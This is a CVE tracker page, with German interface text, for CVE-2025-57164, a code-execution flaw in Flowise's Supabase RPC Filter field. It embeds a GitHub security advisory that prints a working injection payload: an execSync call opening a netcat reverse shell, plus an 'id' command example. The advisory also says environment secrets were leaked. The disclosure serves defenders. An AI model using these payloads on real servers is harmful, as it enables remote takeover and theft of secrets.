CVE-2025-57164
mediumPriorität · verfolgen · 0EPSS 0.006 · 50. PerzentilDEEUUSEPSS · bewertet 2026-10-27
Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–critical · 6–9.1
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betroffene Produkte (5)
Betroffene Produkte und Versionsbereiche.
Advisories (2)
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- WID-SEC-W-2025-2337Flowise: Schwachstelle ermöglicht Ausführen von beliebigem Programmcode mit AdministratorrechtenDeutsch2025-10-19csaf · cert_bundDE
Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Flowise ausnutzen, um beliebigen Programmcode mit Administratorrechten auszuführen.
- GHSA-7944-7c6r-55vvFlowiseAI Pre-Auth Arbitrary Code Execution2025-09-15ghsa · osvUS
## Summary An authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution. This results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic. ## Details FlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237` <img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" /> This creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered. ### Exploit We configured our environment to use Supabase entities as follows: <img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" /> To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables: <img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />   This results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables. Subsequently, a **reverse shell** was successfully established using: `filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)` <img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" /> This proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**. ## Steps to Reproduce 1. Deploy a FlowiseAI instance with the Supabase vector store enabled. 2. Login as an admin user. 3. Drag in a `Supabase` node and configure "Supabase RPC Filter". 4. Insert a malicious payload in the filter expression, such as: `process.mainModule.require("child_process").execSync("id")` 5. Trigger the chatbot or workflow to activate the node. 6. Observe execution of arbitrary code on the backend. ## Impact - **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input. - **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`. - **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access. - **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data. - **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains. ## Trust Boundary Violation The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution. This violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents. ## Evidence *Environment variable leakage via malformed JSON* *Reverse shell successfully triggered using attacker-controlled input* ## Credit **This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)**
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Referenzen (10)
Externe Belege — Patches, Meldungen, Analysen.
- https://access.redhat.com/security/cve/cve-2025-57164cnnvd
- https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237cnnvd
- https://github.com/FlowiseAI/Flowise/releasesPatchcnnvd
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vvcnnvd
- https://github.com/FlowiseAI/Flowiseenisa_euvd
- https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237enisa_euvd
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vvenisa_euvd
- https://github.com/FlowiseAI/FlowiseProductnvd
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